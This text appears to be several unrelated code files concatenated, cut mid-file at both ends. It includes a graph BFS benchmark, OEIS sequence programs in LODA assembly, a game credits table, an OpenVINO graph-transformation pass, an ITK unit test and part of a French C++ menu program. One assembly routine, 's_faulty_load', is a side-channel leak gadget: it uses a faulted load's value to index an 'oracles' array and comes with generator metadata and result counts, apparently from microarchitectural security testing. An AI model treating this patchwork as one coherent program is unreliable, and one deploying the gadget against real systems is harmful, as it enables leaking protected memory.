this->m_sum += (*_ei).source();
this->m_sum -= (*_ei).target();
}
void black_target(vertex_iterator _vi, adj_edge_iterator _ei){
//m_sum += 1;
this->m_sum += (*_ei).source();
this->m_sum -= (*_ei).target();
}
void finish_vertex(vertex_iterator _vi, int =-1){
//m_sum += 1;
m_sum += (*_vi).descriptor();
}
~visitor_test() { }
};
template< class GRAPH>
class visitor_bgl{
public:
size_t& m_sum;
visitor_bgl(size_t& b) : m_sum(b){
m_sum = 0;
}
template < typename Vertex, typename Graph >
void discover_vertex(Vertex u, Graph & g) {
m_sum += u;
}
template < typename Vertex, typename Graph >
void examine_vertex(Vertex u, Graph & g) {
m_sum -= u;
}
template < typename Vertex, typename Graph >
void initialize_vertex(Vertex s, Graph& g) {
}
template < typename Edge, typename Graph >
void examine_edge(Edge e, Graph& g) {
this->m_sum += source(e,g);
this->m_sum -= target(e,g);
}
template < typename Edge, typename Graph >
void tree_edge(Edge e, Graph& g) {
this->m_sum += source(e,g);
this->m_sum -= target(e,g);
}
template < typename Edge, typename Graph >
void non_tree_edge(Edge e, Graph& g) {
this->m_sum += source(e,g);
this->m_sum -= target(e,g);
}
template < typename Edge, typename Graph >
void black_target(Edge e, Graph& g) {
this->m_sum += source(e,g);
this->m_sum -= target(e,g);
}
template < typename Edge, typename Graph >
void gray_target(Edge e, Graph& g) {
this->m_sum += source(e,g);
this->m_sum -= target(e,g);
}
template < typename Vertex, typename Graph >
void finish_vertex(Vertex s, Graph& g) {
m_sum += s;
}
};
template <class G, class ColorMap>
void bfs_test_core_graph(G& g, ColorMap& cmap){
typedef typename G::vertex_descriptor VD;
stapl::graph<stapl::DIRECTED,stapl::NONMULTIEDGES,typename G::vertex_property, double> sssptree;
bool err;
err=false;
size_t tw1=0, tw2=0, tw3=0, tw4=0, tw5=0;
cmap.reset();
// Initialize the library
PAPI_library_init(PAPI_VER_CURRENT);
/////////////////STAPL_ALGO ON STAPL_GRAPH///////////////////////////////////
visitor_test<G> vis;
long_long t = PAPI_get_real_usec();
stapl::breadth_first_search(g,g.begin().descriptor(),vis,cmap);
t = PAPI_get_real_usec() - t;
std::cout <<"\t"<< t << ", ";
tw1 = vis.m_sum;
/////////////////BGL_ALGO ON STAPL_GRAPH///////////////////////////////////
/*
{
using namespace boost;
std::vector<typename G::edge_property> weights_map(g.get_num_edges());
for (typename G::edge_iterator ei = g.edges_begin(); ei != g.edges_end(); ++ei)
weights_map[ei.descriptor().id()] = ei.property();
vector<typename G::edge_property>* w_vec_ptr = const_cast<vector<typename G::edge_property>* >(&weights_map);
std::vector<default_color_type> colors(num_vertices(g),
color_traits<boost::default_color_type>::white());
visitor_bgl<G> vis2(tw2);
PAPI_library_init(PAPI_VER_CURRENT);
long_long t = PAPI_get_real_usec();
boost::breadth_first_search(g, vertex(0,g),
boost::color_map(make_iterator_property_map(colors.begin(), get(vertex_index,g))).visitor (vis2));
t = PAPI_get_real_usec() - t;
std::cout <<"\t"<< t << ", ";
tw2 = vis2.m_sum;
}
/////////////////BGL_ALGO ON BGL_GRAPH///////////////////////////////////
{
using namespace boost;
typedef adjacency_list <vecS,
vecS,
undirectedS,
property<vertex_distance_t, int>,
property <edge_weight_t, double> > BOOST_GRAPH;
BOOST_GRAPH bg;
property_map<BOOST_GRAPH, edge_weight_t>::type weightmap;
generate_boost_graph_from_stapl(g, bg, weightmap);
std::vector<default_color_type> colors(num_vertices(bg),
color_traits<boost::default_color_type>::white());
visitor_bgl<BOOST_GRAPH> vis3(tw5);
PAPI_library_init(PAPI_VER_CURRENT);
long_long t = PAPI_get_real_usec();
boost::breadth_first_search(bg, vertex(0,bg),
boost::color_map(make_iterator_property_map(colors.begin(), get(vertex_index,bg))).visitor (vis3));
t = PAPI_get_real_usec() - t;
std::cout << "\t"<< t << ", ";
tw5 = vis3.m_sum;
}
*/
cout << endl;
cout << tw1 << ", " << tw2 << ", " << tw3 /*<< ", " << tw4 */ << ", " << tw5 << "\n";
}
} // end namespace bfs_test
|
; A204467: Number of 3-element subsets that can be chosen from {1,2,...,6*n+3} having element sum 9*n+6.
; 1,8,25,50,85,128,181,242,313,392,481,578,685,800,925,1058,1201,1352,1513,1682,1861,2048,2245,2450,2665,2888,3121,3362,3613,3872,4141,4418,4705,5000,5305,5618,5941,6272,6613,6962,7321,7688,8065,8450,8845,9248,9661,10082,10513,10952,11401,11858,12325,12800,13285,13778,14281,14792,15313,15842,16381,16928,17485,18050,18625,19208,19801,20402,21013,21632,22261,22898,23545,24200,24865,25538,26221,26912,27613,28322,29041,29768,30505,31250,32005,32768,33541,34322,35113,35912,36721,37538,38365,39200
mul $0,3
add $0,1
pow $0,2
add $0,1
div $0,2
|
CreditsMons:
db VENUSAUR
db CHARIZARD
db BLASTOISE
db RAICHU
db UMBREON
db GRAVELER
db ABRA
db TANGROWTH
db STARMIE
db GYARADOS
db DITTO
db CORSOLA
db MILTANK
db NIDOKING
db PIKACHU
rept 9
db GENGAR
endr
|
; A158670: a(n) = 60*n^2 - 1.
; Submitted by Christian Krause
; 59,239,539,959,1499,2159,2939,3839,4859,5999,7259,8639,10139,11759,13499,15359,17339,19439,21659,23999,26459,29039,31739,34559,37499,40559,43739,47039,50459,53999,57659,61439,65339,69359,73499,77759,82139,86639,91259,95999,100859,105839,110939,116159,121499,126959,132539,138239,144059,149999,156059,162239,168539,174959,181499,188159,194939,201839,208859,215999,223259,230639,238139,245759,253499,261359,269339,277439,285659,293999,302459,311039,319739,328559,337499,346559,355739,365039,374459
add $0,1
pow $0,2
mul $0,60
sub $0,1
|
; A245906: Numbers of the form 4n^2 + 1 or 4n^2 + 8n + 1.
; 5,13,17,33,37,61,65,97,101,141,145,193,197,253,257,321,325,397,401,481,485,573,577,673,677,781,785,897,901,1021,1025,1153,1157,1293,1297,1441,1445,1597,1601,1761,1765,1933,1937,2113,2117,2301,2305,2497,2501,2701
add $0,1
mov $1,$0
div $1,2
pow $1,2
add $0,$1
mul $0,4
add $0,1
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r13
push %r15
push %r9
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0xe64e, %rax
nop
nop
nop
nop
add $16229, %r15
mov (%rax), %r13
nop
nop
nop
nop
and %r10, %r10
lea addresses_normal_ht+0x1b49c, %rsi
lea addresses_D_ht+0x7e0c, %rdi
nop
nop
nop
nop
inc %r13
mov $47, %rcx
rep movsw
nop
nop
add $33030, %r13
lea addresses_normal_ht+0x1b3c8, %rcx
clflush (%rcx)
nop
nop
sub %r15, %r15
mov $0x6162636465666768, %rax
movq %rax, %xmm1
vmovups %ymm1, (%rcx)
nop
nop
nop
add $32505, %r15
lea addresses_normal_ht+0x1452c, %rax
nop
cmp %r13, %r13
mov $0x6162636465666768, %rcx
movq %rcx, %xmm4
and $0xffffffffffffffc0, %rax
movaps %xmm4, (%rax)
nop
nop
nop
nop
nop
and $10609, %r15
lea addresses_WT_ht+0xe02c, %rsi
nop
sub $18722, %r15
movw $0x6162, (%rsi)
sub $5522, %r10
lea addresses_UC_ht+0x12c, %rsi
lea addresses_UC_ht+0x1bb2c, %rdi
nop
nop
nop
nop
nop
xor $61250, %r9
mov $67, %rcx
rep movsl
add %rdi, %rdi
lea addresses_WC_ht+0x1832c, %rsi
lea addresses_A_ht+0xdd2c, %rdi
nop
nop
nop
nop
add $31566, %r13
mov $111, %rcx
rep movsl
nop
nop
nop
nop
and $39585, %r15
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r15
pop %r13
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r13
push %r14
push %rbp
push %rdx
push %rsi
// Store
lea addresses_normal+0x912c, %rsi
cmp %r13, %r13
mov $0x5152535455565758, %r14
movq %r14, %xmm2
movups %xmm2, (%rsi)
nop
nop
xor $37663, %r11
// Store
lea addresses_A+0x1d2a2, %r13
nop
nop
nop
and %r12, %r12
mov $0x5152535455565758, %r14
movq %r14, %xmm7
movups %xmm7, (%r13)
nop
nop
nop
nop
cmp %r13, %r13
// Store
mov $0x323eea000000042c, %rdx
nop
nop
nop
and %rsi, %rsi
mov $0x5152535455565758, %r11
movq %r11, %xmm2
vmovups %ymm2, (%rdx)
nop
nop
inc %rbp
// Faulty Load
lea addresses_US+0x1a12c, %r14
nop
nop
nop
xor %rdx, %rdx
mov (%r14), %r12w
lea oracles, %rdx
and $0xff, %r12
shlq $12, %r12
mov (%rdx,%r12,1), %r12
pop %rsi
pop %rdx
pop %rbp
pop %r14
pop %r13
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 9, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 1, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 6, 'size': 32, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': True, 'NT': True}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 1, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 2, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': True, 'congruent': 10, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 8, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}}
{'58': 19333, '00': 2496}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 00 00 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 00 58 58 58 58 00 58 58 58 00 00 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 00 58 58 00 00 00 58 58 58 58 58 00 00 58 58 58 58 58 58 00 58 00 00 00 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 00 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 00 58 00 58 00 58 58 58 00 58 58 58 58 58 00 58 00 58 58 58 00 00 00 58 58 58 58 58 00 58 58 58 00 58 58 58 00 58 58 58 00 58 58 58 58 58 58 58 58 58 58 00 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 00 58 58 58 58 58 00 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 00 58 58 58 58 00 58 58 58 58 58 58 00 58 58 00 00 00 00 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 00 58 58 58 58 58 00 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 00 00 00 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 00 58 58 58 00 00 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 00 58 00 00 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 00 58 00 58 58 58 00 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 00 58 58 00 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 00 00 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 00 00 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 00 58 58 58 00 58 58 58 00 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 00 58 00 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 00 58 00 00 58 58 58 00 00 00 58 58 58 58 58 00 00 00 58 58 58 58 00 58 58 58 00 00 00 58 58 58 58 58 58 58 00 00 58 58 58 58 00 58 58 58 00 58 58 00 00 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 00 58 58 58 00 58 58 58 58 58 58 00 00 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58
*/
|
// Copyright (C) 2018-2020 Intel Corporation
// SPDX-License-Identifier: Apache-2.0
//
#include "legacy/transformations/convert_opset1_to_legacy/convert_matmul_to_fc_or_gemm.hpp"
#include <algorithm>
#include <utility>
#include <memory>
#include <vector>
#include <string>
#include <numeric>
#include <ngraph/opsets/opset1.hpp>
#include <ngraph/rt_info.hpp>
#include <ngraph/pattern/op/wrap_type.hpp>
#include <legacy/ngraph_ops/fully_connected.hpp>
#include <transformations/utils/utils.hpp>
NGRAPH_RTTI_DEFINITION(ngraph::pass::ConvertMatMulToFCorGemm, "ConvertMatMulToFCorGemm", 0);
NGRAPH_RTTI_DEFINITION(ngraph::pass::ConvertMatMulToFC, "ConvertMatMulToFC", 0);
ngraph::pass::ConvertMatMulToFC::ConvertMatMulToFC() {
auto matmul = pattern::wrap_type<opset1::MatMul>({pattern::any_input(pattern::has_static_shape()),
pattern::any_input(pattern::has_static_shape())},
pattern::has_static_shape());
ngraph::matcher_pass_callback callback = [this](pattern::Matcher& m) {
auto matmul = std::dynamic_pointer_cast<ngraph::opset1::MatMul>(m.get_match_root());
if (!matmul || transformation_callback(matmul)) {
return false;
}
auto input_a = matmul->input(0).get_source_output();
auto input_b = matmul->input(1).get_source_output();
auto shape_a = input_a.get_shape();
auto shape_b = input_b.get_shape();
auto output_shape = matmul->get_shape();
/*
* get_aligned_shapes function align two input shapes to have the same size and
* the same batch dimensions (last two dimensions are not comparable).
* It also checks that dimensions are compatible so in case with two shapes
* for example: [2, 32, 64] [3, 64, 64] it will raise an exception.
*/
auto get_aligned_shapes = [shape_a, shape_b, &matmul]() -> std::pair<Shape, Shape> {
Shape shape_a_aligned(shape_a), shape_b_aligned(shape_b);
size_t max_size = std::max(shape_a_aligned.size(), shape_b_aligned.size());
for (size_t i = 0, cnt = max_size - shape_a_aligned.size(); i < cnt; ++i)
shape_a_aligned.insert(shape_a_aligned.begin(), 1);
for (size_t i = 0, cnt = max_size - shape_b_aligned.size(); i < cnt; ++i)
shape_b_aligned.insert(shape_b_aligned.begin(), 1);
if (matmul->get_transpose_a()) {
std::swap(*(shape_a_aligned.end() - 1), *(shape_a_aligned.end() - 2));
}
if (matmul->get_transpose_b()) {
std::swap(*(shape_b_aligned.end() - 1), *(shape_b_aligned.end() - 2));
}
for (size_t i = 0; i < max_size - 2; ++i) {
if (shape_a_aligned[i] != shape_b_aligned[i] && shape_a_aligned[i] > 1 && shape_b_aligned[i] > 1) {
std::ostringstream stream;
stream << "Shapes can't be aligned: " << shape_a_aligned << " " << shape_b_aligned;
throw ngraph_error(stream.str());
}
size_t max_value = std::max(shape_a_aligned[i], shape_b_aligned[i]);
shape_a_aligned[i] = shape_b_aligned[i] = max_value;
}
return {shape_a_aligned, shape_b_aligned};
};
/*
* create_transpose function return Transpose operation to replace transpose_a or transpose_b
* arguments with an operation. In other words in this function we create Transpose operation
* with order length equal to output_shape length of given node and fill order with increasing
* sequence starting from 0 and replace last two dimension. For example for length = 4 the
* order will be [0, 1, 3, 2] that emulates transpose_a or transpose_b attribute.
*/
auto create_transpose = [this](Output<Node> node, const std::string& transpose_name) -> std::shared_ptr<Node> {
Shape output_shape = node.get_node_shared_ptr()->get_shape();
std::vector<size_t> transpose_order(output_shape.size());
std::iota(transpose_order.begin(), transpose_order.end(), 0);
std::swap(*(transpose_order.end() - 1), *(transpose_order.end() - 2));
auto transpose = register_new_node<ngraph::opset1::Transpose>(
node, opset1::Constant::create(element::i64, Shape {transpose_order.size()}, transpose_order));
transpose->set_friendly_name(transpose_name);
return transpose;
};
// fc_input_a and fc_input_b - are the final inputs that will be set to FullyConnected of GemmIE operations.
// So in case of adding new operations that takes matmul inputs we need keep update fc_input_a and
// fc_input_b updated.
auto fc_input_a = input_a, fc_input_b = input_b;
// vector of new nGraph operations
NodeVector new_ops;
// Check that if second inputs is Constant operation and it's shape without ones dimensions has length <= 2
// we replace MatMul with FullyConnected operation.
// Otherwise we replace MatMul with Gemm.
if ((std::dynamic_pointer_cast<opset1::Constant> (fc_input_b.get_node_shared_ptr()) ||
std::dynamic_pointer_cast<opset1::FakeQuantize>(fc_input_b.get_node_shared_ptr())) &&
std::count_if(shape_b.begin(), shape_b.end(), [](size_t x) {
return x != 1;
}) <= 2) {
Shape shape_a_aligned, shape_b_aligned;
std::tie(shape_a_aligned, shape_b_aligned) = get_aligned_shapes();
if (shape_a_aligned.size() < 2 || shape_b_aligned.size() < 2) {
throw ngraph_error("MatMul " + matmul->get_friendly_name() + " shapes are inconsistent.");
}
// Transferring from MatMul representation: [B, I, K] * [B, K, O] = [B, I, O]
// to FullyConnected representation: [I, K] * [O, K] = [I, O]
size_t K = *(shape_a_aligned.end() - 1);
size_t O = *(shape_b_aligned.end() - 1);
Shape B(shape_a_aligned.begin(), shape_a_aligned.end() - 2);
// Weights normalization
if (!matmul->get_transpose_b()) {
fc_input_b = create_transpose(fc_input_b, matmul->get_friendly_name() + "/transpose_b");
new_ops.push_back(fc_input_b.get_node_shared_ptr());
}
if (shape_b.size() != 2) {
auto reshape_shape =
opset1::Constant::create<int64_t>(element::i64, Shape {2}, {-1ll, static_cast<int64_t>(K)});
fc_input_b = std::make_shared<opset1::Reshape>(fc_input_b, reshape_shape, true);
new_ops.push_back(fc_input_b.get_node_shared_ptr());
}
// Input normalization
if (matmul->get_transpose_a()) {
fc_input_a = create_transpose(fc_input_a, matmul->get_friendly_name() + "/transpose_a");
new_ops.push_back(fc_input_a.get_node_shared_ptr());
}
// Create FullyConnected
std::vector<float> bias_value(O, 0);
auto fc_bias = opset1::Constant::create(matmul->get_output_element_type(0), Shape {O}, bias_value);
auto fc = std::make_shared<op::FullyConnected>(fc_input_a, fc_input_b, fc_bias, output_shape, matmul->output(0).get_element_type());
fc->set_friendly_name(matmul->get_friendly_name());
new_ops.push_back(fc);
ngraph::copy_runtime_info(matmul, new_ops);
ngraph::replace_node(matmul, fc);
return true;
}
return false;
};
auto m = std::make_shared<ngraph::pattern::Matcher>(matmul, "ConvertMatMulToFC");
this->register_matcher(m, callback);
}
NGRAPH_RTTI_DEFINITION(ngraph::pass::ConvertMatMulToGemm, "ConvertMatMulToGemm", 0);
ngraph::pass::ConvertMatMulToGemm::ConvertMatMulToGemm() {
auto matmul = pattern::wrap_type<opset1::MatMul>({pattern::any_input(pattern::has_static_shape()),
pattern::any_input(pattern::has_static_shape())},
pattern::has_static_shape());
ngraph::matcher_pass_callback callback = [this](pattern::Matcher& m) {
auto matmul = std::dynamic_pointer_cast<ngraph::opset1::MatMul>(m.get_match_root());
if (!matmul) {
return false;
}
auto input_a = matmul->input(0).get_source_output();
auto input_b = matmul->input(1).get_source_output();
auto shape_a = input_a.get_shape();
auto shape_b = input_b.get_shape();
auto output_shape = matmul->get_shape();
auto fc_input_a = input_a, fc_input_b = input_b;
NodeVector new_ops;
// WA for IE that Gemm must have inputs with the same length.
if (shape_a.size() < shape_b.size()) {
// Reshape first input (fc_input_a)
Shape reshape_shape(shape_b.size() - shape_a.size(), 1);
reshape_shape.insert(reshape_shape.end(), shape_a.begin(), shape_a.end());
fc_input_a = op::util::reshapeTo(fc_input_a, reshape_shape);
new_ops.push_back(fc_input_a.get_node_shared_ptr());
} else if (shape_b.size() < shape_a.size()) {
// Reshape second input (fc_input_b)
Shape reshape_shape;
if (shape_b.size() == 1) {
// In case if shape_b has only one dimension we reshape it to [...,1,X,1]
reshape_shape = Shape(shape_a.size() - (shape_b.size() + 1), 1);
reshape_shape.push_back(shape_b[0]); // add X dimension
reshape_shape.push_back(1); // add last 1 dimension
} else {
// In this case we reshape shape_b to [...,1,1,X]
reshape_shape = Shape(shape_a.size() - shape_b.size(), 1);
reshape_shape.insert(reshape_shape.end(), shape_b.begin(), shape_b.end());
}
fc_input_b = op::util::reshapeTo(fc_input_b, reshape_shape);
new_ops.push_back(fc_input_b.get_node_shared_ptr());
}
auto gemm = matmul->copy_with_new_inputs({ fc_input_a, fc_input_b });
new_ops.push_back(gemm);
if (gemm->get_shape() != output_shape) {
// This case is possible only when second input had exactly 1 dimension (that is not supported by GEMM operation)
// and for this case we have to reshape second input to first but this affects output shape (additional dimensions)
// So to preserve output shape we insert additional reshape operation
auto reshape_output = op::util::reshapeTo(gemm, output_shape);
new_ops.push_back(reshape_output);
gemm->set_friendly_name(matmul->get_friendly_name() + "/gemm");
reshape_output->set_friendly_name(matmul->get_friendly_name());
ngraph::copy_runtime_info(matmul, new_ops);
ngraph::replace_node(matmul, reshape_output);
} else {
gemm->set_friendly_name(matmul->get_friendly_name());
ngraph::copy_runtime_info(matmul, new_ops);
ngraph::replace_node(matmul, gemm);
}
return true;
};
auto m = std::make_shared<ngraph::pattern::Matcher>(matmul, "ConvertMatMulToGemm");
this->register_matcher(m, callback);
}
|
; A244041: Sum of digits of n written in fractional base 4/3.
; 0,1,2,3,3,4,5,6,5,6,7,8,6,7,8,9,6,7,8,9,9,10,11,12,8,9,10,11,10,11,12,13,8,9,10,11,11,12,13,14,12,13,14,15,9,10,11,12,11,12,13,14,14,15,16,17,14,15,16,17,10,11,12,13,11,12,13,14,14,15,16,17,16,17,18,19,15,16,17,18,10,11,12,13,13,14,15,16,13,14,15,16,15,16,17,18,16,17,18,19
mov $5,$0
lpb $4,3
div $5,4
sub $0,$5
mul $5,3
lpe
|
; A169414: Number of reduced words of length n in Coxeter group on 17 generators S_i with relations (S_i)^2 = (S_i S_j)^32 = I.
; 1,17,272,4352,69632,1114112,17825792,285212672,4563402752,73014444032,1168231104512,18691697672192,299067162755072,4785074604081152,76561193665298432,1224979098644774912,19599665578316398592
add $0,1
mov $3,1
lpb $0
sub $0,1
add $2,$3
div $3,$2
mul $2,16
lpe
mov $0,$2
div $0,16
|
/*=========================================================================
*
* Copyright Insight Software Consortium
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0.txt
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*=========================================================================*/
#include "itkSubtractImageFilter.h"
#include "itkImageRegionIteratorWithIndex.h"
#include "itkMath.h"
#include "itkTestingMacros.h"
int itkSubtractImageFilterTest( int, char* [] )
{
// Define the dimension of the images
constexpr unsigned int Dimension = 3;
// Declare the pixel types of the images
using PixelType = float;
// Declare the types of the images
using InputImageType1 = itk::Image< PixelType, Dimension >;
using InputImageType2 = itk::Image< PixelType, Dimension >;
using OutputImageType = itk::Image< PixelType, Dimension >;
// Declare appropriate Iterator types for each image
using OutputImageIteratorType = itk::ImageRegionIteratorWithIndex< OutputImageType >;
// Declare the type of the index to access images
using IndexType = itk::Index< Dimension>;
// Declare the type of the size
using SizeType = itk::Size< Dimension >;
// Declare the type of the region
using RegionType = itk::ImageRegion< Dimension >;
// Create two images
InputImageType1::Pointer inputImageA = InputImageType1::New();
InputImageType2::Pointer inputImageB = InputImageType2::New();
// Define their size, and start index
SizeType size;
size[0] = 2;
size[1] = 2;
size[2] = 2;
IndexType start;
start[0] = 0;
start[1] = 0;
start[2] = 0;
RegionType region;
region.SetIndex( start );
region.SetSize( size );
// Initialize Image A
inputImageA->SetLargestPossibleRegion( region );
inputImageA->SetBufferedRegion( region );
inputImageA->SetRequestedRegion( region );
inputImageA->Allocate();
// Initialize Image B
inputImageB->SetLargestPossibleRegion( region );
inputImageB->SetBufferedRegion( region );
inputImageB->SetRequestedRegion( region );
inputImageB->Allocate();
// Initialize the content of Image A
constexpr InputImageType1::PixelType valueA = 2.0;
inputImageA->FillBuffer( valueA );
// Initialize the content of Image B
constexpr InputImageType2::PixelType valueB = 3.0;
inputImageB->FillBuffer( valueB );
// Declare the type for the itk::SubtractImageFilter
using FilterType = itk::SubtractImageFilter<
InputImageType1,
InputImageType2,
OutputImageType >;
// Create the filter
FilterType::Pointer filter = FilterType::New();
EXERCISE_BASIC_OBJECT_METHODS( filter, SubtractImageFilter,
BinaryGeneratorImageFilter );
// Set the input images
filter->SetInput1( inputImageA );
filter->SetInput2( inputImageB );
// Execute the filter
TRY_EXPECT_NO_EXCEPTION( filter->Update() );
// Get the filter output
OutputImageType::Pointer outputImage = filter->GetOutput();
// Create an iterator for going through the image output
OutputImageIteratorType oIt( outputImage, outputImage->GetBufferedRegion() );
// Check the content of the result image
//
const auto expectedValue = static_cast< OutputImageType::PixelType >( valueA - valueB );
while( !oIt.IsAtEnd() )
{
if( !itk::Math::ExactlyEquals( oIt.Get(), expectedValue ) )
{
std::cerr << "Test failed!" << std::endl;
std::cerr << "Error in pixel value at index [" << oIt.GetIndex() << "]" << std::endl;
std::cerr << "Expected: " << expectedValue
<< ", but got: " << oIt.Get() << std::endl;
return EXIT_FAILURE;
}
++oIt;
}
// All objects should be automatically destroyed at this point
std::cout << "Test finished." << std::endl;
return EXIT_SUCCESS;
}
|
; ZwQuerySystemInformation |
/**
* \file Principal.cpp
* \brief Fichier pour les différents tests
* \author IFT-2008
* \version 0.1
* \date mars 2021
*
*/
#include <iostream>
#include <fstream>
#include <ctime>
#include "ReseauInterurbain.h"
using namespace std;
using namespace TP2;
int main()
{
int nb = 1; //Choix de l'utilisateur dans le menu initialisé à 1.
string villeDepart; //Chaîne de caractères représentant la ville de départ.
string villeDestination; //Chaîne de caractères représentant la ville de d'arrivée.
ReseauInterurbain reseau(""); //Le reseau utilisé pour les tests.
ifstream EntreeFichier; //Flux d'entrée
ofstream SortieFichier; //Flux d'entrée
clock_t startTime, endTime; //Pour mesurer l'efficacité des algorithmes
cout << "Bienvenu dans votre reseau de transport interurbain !" << endl;
//Affichage du menu
cout << "------------------ Menu --------------------------------" << endl;
cout << "1 - Charger le reseau a partir d'un fichier texte." << endl;
cout << "2 - Trouver le plus court chemin avec Dijkstra." << endl;
cout << "3 - Trouver les composantes fortement connexes avec Kosaraju." << endl;
cout << "4 - Mesurer le temps d'execution de Dijkstra." << endl;
cout << "5 - Mesurer le temps d'execution de Kosaraju." << endl;
cout << "0 - Quitter." << endl;
cout << "--------------------------------------------------------" << endl;
while (nb != 0)
{
do
{
cout << endl;
cout << "Entrer s.v.p. votre choix (0 a 5):? ";
cin >> nb;
if(nb <0 || nb>5)
cout << "***Option invalide!***\n";
}while(nb <0 || nb>5);
try
{
switch (nb)
{
case 1: //Charger le réseau à partir d'un fichier texte.
{
EntreeFichier.open("ReseauInterurbain.txt", ios::in);
if(EntreeFichier.is_open())
{
reseau.chargerReseau(EntreeFichier);
}
EntreeFichier.close();
cout << "Le reseau a ete charge !" << endl;
cout << "Affichage du reseau: " << endl << reseau;
break;
}
case 2: //Trouver le plus court chemin avec Dijkstra.
{
cout << "Recherche du plus court chemin avec Dijkstra." << endl;
cout << "Entrez la ville de depart:? ";
cin >> villeDepart;
cout << "Entrez la ville de destination:? ";
cin >> villeDestination;
Chemin ch1_dijkstra = reseau.rechercheCheminDijkstra(villeDepart, villeDestination, true);
Chemin ch2_dijkstra = reseau.rechercheCheminDijkstra(villeDepart, villeDestination, false);
if(ch1_dijkstra.reussi)
{
cout << "Liste des villes du plus court chemin en utilisant la duree du trajet:" << endl;
